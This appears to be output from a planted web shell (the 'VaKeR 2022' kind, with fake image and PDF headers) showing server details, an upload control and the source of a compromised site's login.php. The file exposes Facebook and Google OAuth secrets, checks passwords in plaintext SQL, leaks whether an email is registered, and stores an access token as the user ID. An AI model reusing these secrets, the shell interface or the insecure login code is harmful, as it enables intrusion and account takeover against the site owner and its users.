%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/login.php
<?php
include('header.php');
if (isset($_SESSION['user_id'])) {
    echo "<script>window.location='user-profile.php'</script>";
    exit;
}
?>

<style type="text/css">
    .eye-icon {
        float: right;
        margin-right: 10px;
        margin-top: -48px;
        position: relative;
        z-index: 99999;
    }

.bg-red-opc ul li {
    background: white;
    margin: 0 5px;
    padding: 16px;
    border-radius: 10px;
}

</style>
<?php

// Facebook Login Code

require_once __DIR__ . '/vendor/autoload.php';

$fb = new \Facebook\Facebook([
  'app_id' => '1298956725229696',
  'app_secret' => '7bf2f0ea99491aa674a1aac83dba2782',
  'default_graph_version' => 'v17.0',
]);

$helper = $fb->getRedirectLoginHelper();
$permissions = ['email', 'public_profile']; // Specify desired permissions
$loginUrl = $helper->getLoginUrl('user-profile.php', $permissions);

// Google Login Code


require 'google-api/vendor/autoload.php';

$client = new Google_Client();

$client->setClientId('264742928203-uu6v3o4d7noimhf2eqt14vkd7e92njet.apps.googleusercontent.com');
$client->setClientSecret('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');
$client->setRedirectUri('https://kar.one/login.php');

$client->addScope("email");
$client->addScope("profile");

if (isset($_GET['code'])):

    $token = $client->fetchAccessTokenWithAuthCode($_GET['code']);

    if (!isset($token["error"])) {

        $client->setAccessToken($token['access_token']);
        $google_oauth = new Google_Service_Oauth2($client);
        $google_account_info = $google_oauth->userinfo->get();

        $id = mysqli_real_escape_string($conn, $google_account_info->id);
        $full_name = mysqli_real_escape_string($conn, trim($google_account_info->name));
        $email = mysqli_real_escape_string($conn, $google_account_info->email);
        $profile_pic = mysqli_real_escape_string($conn, $google_account_info->picture);

        $get_user = mysqli_query($conn, "SELECT `user_id` FROM `user_tbl` WHERE `user_id`='$id'");
        if (mysqli_num_rows($get_user) > 0) {

            $_SESSION['user_id'] = $id;
            echo "<script>window.location='user-profile.php';</script>";
            exit;
        } else {

            $type = "User";
            $insert = mysqli_query($conn, "INSERT INTO `user_tbl`(`user_id`,`name`,`email`,`image1`,`type`,`status`) VALUES('$id','$full_name','$email','$profile_pic','$type','1')");

            if ($insert) {
                $_SESSION['user_id'] = $id;
                echo "<script>window.location='user-profile.php';</script>";
                exit;
            } else {
                echo "Sign up failed! (Something went wrong).";
            }
        }
    } else {
        echo "<script>window.location='login.php';</script>";
        exit;
    }

else:
?>

    <section id="login" class="my-100">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <div class="login-bg" style="background-image:url('img/login-bg.svg');background-position: center;background-size: cover;">
                        <div class="row">
                            <div class="col-md-6 offset-md-6">
                                <div class="bg-red-opc p-5">
                                    <?php if (isset($_SESSION['message'])): ?>
                                        <div class="alert alert-success alert-dismissible fade show" role="alert">
                                            <strong class="text-dark"><?php echo $_SESSION['message']; ?> &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong>
                                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                                        </div>
                                        <?php unset($_SESSION['message']); ?>
                                    <?php endif; ?>

                                    <?php if (isset($_SESSION['error'])): ?>
                                        <div class="alert alert-warning alert-dismissible fade show" role="alert">
                                            <strong class="text-danger"><?php echo $_SESSION['error']; ?> &nbsp;<i class="feather icon-thumbs-up text-dark"></i></strong>
                                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                                        </div>
                                        <?php unset($_SESSION['error']); ?>
                                    <?php endif; ?>

                                    <div class="login-account text-white">
                                        <h5 class="fs-20">Login to your</h5>
                                        <h1 class="fs-30">Account</h1>
                                    </div>
                                    <form class="p-4" method="POST" action="">
                                        <div class="bg-white-form">
                                            <label>Email Id</label>
                                            <input type="email" name="email" class="form-control" required placeholder="Enter your E-mail">
                                            <label>Password</label>
                                            <input id="password-field" type="password" name="password" class="form-control" required placeholder="Enter your password">
                                            <span toggle="#password-field" class="ri-eye-off-line eye-icon" id="togglePassword"></span>
                                            <div class="flex-log mt-2">
                                                <a href="forgot-password.php" style="text-decoration: none; color: red;"><span>Forgot Password</span></a><br>
                                                <span><input type="radio" name="remember" checked> Remember me </span>
                                                <span>Not a Member?<a class="text-red text-decoration-none" href="registration.php"> Register Here</a></span>
                                            </div>
                                        </div>
                                        <button type="submit" name="login" class="btn-theme w-100 nextBtn mt-2">Login</button>

                                        <p class="signonsocial">Or sign in with your accounts</p>

                    <ul class="list-unstyled mb-0">

    <li>

        <a href="https://accounts.google.com/o/oauth2/auth?response_type=code&access_type=online&client_id=264742928203-uu6v3o4d7noimhf2eqt14vkd7e92njet.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fkar.one%2Flogin.php&state&scope=email%20profile&approval_prompt=auto"

           class="d-inline-flex align-items-center gap-2 text-decoration-none text-dark py-1 px-2  rounded hover-bg-light">

            <img src="img/11.png" alt="Google Icon" class="img-fluid" style="width: 24px; height: 24px;">

            <span class="fw-semibold">Login with Google</span>

        </a>

    </li>

</ul>

                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

<?php endif; ?>


<?php include('footer.php'); ?>

<script type="text/javascript">
    $("#togglePassword").click(function() {
        $(this).toggleClass("ri-eye-off-line ri-eye-line");
        var input = $($(this).attr("toggle"));
        if (input.attr("type") == "password") {
            input.attr("type", "text");
        } else {
            input.attr("type", "password");
        }
    });
</script>


<?php
if (isset($_POST['login'])) {
    $email = mysqli_real_escape_string($conn, $_POST['email']);
    $password = mysqli_real_escape_string($conn, $_POST['password']);

    $loginQry = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE email='$email' AND password='$password' AND type = 'User' AND status=1");

    if (mysqli_num_rows($loginQry) > 0) {
        $login_row = mysqli_fetch_array($loginQry);
        $_SESSION['user_id'] = $login_row['user_id'];
        $_SESSION['message'] = "Welcome back " . $login_row['name'] . ".";
        echo "<script>window.location='user-profile.php';</script>";
    } else {
        // Check if email exists and password is incorrect
        $loginQem = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE email='$email' AND type = 'User' AND status=1");
        $loginQpa = mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE password='$password' AND type = 'User' AND status=1");

        $coun_em = mysqli_num_rows($loginQem);
        $coun_pa = mysqli_num_rows($loginQpa);

        if ($coun_em == 0 && $coun_pa > 0) {
            echo "<script>window.location='login.php'</script>";
            $_SESSION['error'] = 'This email is not registered!';
        } elseif ($coun_em > 0 && $coun_pa == 0) {
            echo "<script>window.location='login.php'</script>";
            $_SESSION['error'] = 'You entered the wrong password!';
        } else {
            echo "<script>window.location='login.php'</script>";
            $_SESSION['error'] = 'Check email and password.';
        }
    }
}
?>

<?php
try {
  $accessToken = $helper->getAccessToken();
} catch(\Facebook\Exceptions\FacebookResponseException $e) {
  echo 'Graph returned an error: ' . $e->getMessage();
  exit;
} catch(\Facebook\Exceptions\FacebookSDKException $e) {
  echo 'Facebook SDK returned an error: ' . $e->getMessage();
  exit;
}


try {
    $accessToken = $helper->getAccessToken();
} catch(\Facebook\Exceptions\FacebookResponseException $e) {
    echo 'Graph returned an error: ' . $e->getMessage();
    exit;
} catch(\Facebook\Exceptions\FacebookSDKException $e) {
    echo 'Facebook SDK returned an error: ' . $e->getMessage();
    exit;
}

if (isset($accessToken)) {
    $_SESSION['user_id'] = (string) $accessToken;
    $_SESSION['message'] = "Welcome back " . $login_row['name'] . ".";

    // Get user info from Facebook
    try {
        $response = $fb->get('/me?fields=id,name,email,picture', $accessToken);
        $fbUser = $response->getGraphUser();

        $id = mysqli_real_escape_string($conn, $fbUser->getId());
        $full_name = mysqli_real_escape_string($conn, trim($fbUser->getName()));
        $email = mysqli_real_escape_string($conn, $fbUser->getEmail());
        $profile_pic = mysqli_real_escape_string($conn, $fbUser->getPicture()->getUrl());

        $get_user = mysqli_query($conn, "SELECT `user_id` FROM `user_tbl` WHERE `user_id`='$id'");
        if (mysqli_num_rows($get_user) > 0) {
            $_SESSION['user_id'] = $id;
            echo "<script>window.location='user-profile.php';</script>";
            exit;
        } else {
            $insert = mysqli_query($conn, "INSERT INTO `user_tbl`(`user_id`,`name`,`email`,`image1`) VALUES('$id','$full_name','$email','$profile_pic')");
            if ($insert) {
                $_SESSION['user_id'] = $id;
                echo "<script>window.location='user-profile.php';</script>";
                exit;
            } else {
                echo "Sign up failed! (Something went wrong).";
            }
        }
    } catch(\Facebook\Exceptions\FacebookResponseException $e) {
        echo 'Graph returned an error: ' . $e->getMessage();
        exit;
    } catch(\Facebook\Exceptions\FacebookSDKException $e) {
        echo 'Facebook SDK returned an error: ' . $e->getMessage();
        exit;
    }
}
?>

<!-- <!DOCTYPE html>
<html lang="en">
<head>

     <title>Login with Facebook</title>

     <link

        href = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"

        rel = "stylesheet">

  </head>

  <body>      -->
<!-- 
  <?php if($_SESSION['fb_id']) {?>

        <div class = "container">

           <div class = "jumbotron">

              <h1>Hello <?php echo $_SESSION['fb_name']; ?></h1>

              <p>Welcome to Cloudways</p>

           </div>

              <ul class = "nav nav-list">

                 <h4>Image</h4>

                 <li><?php echo $_SESSION['fb_pic']?></li>

                 <h4>Facebook ID</h4>

                 <li><?php echo  $_SESSION['fb_id']; ?></li>

                 <h4>Facebook fullname</h4>

                 <li><?php echo $_SESSION['fb_name']; ?></li>

                 <h4>Facebook Email</h4>

                 <li><?php echo $_SESSION['fb_email']; ?></li>

              </ul>

          </div>

<?php } ?>

  </body>

</html> -->

VaKeR 2022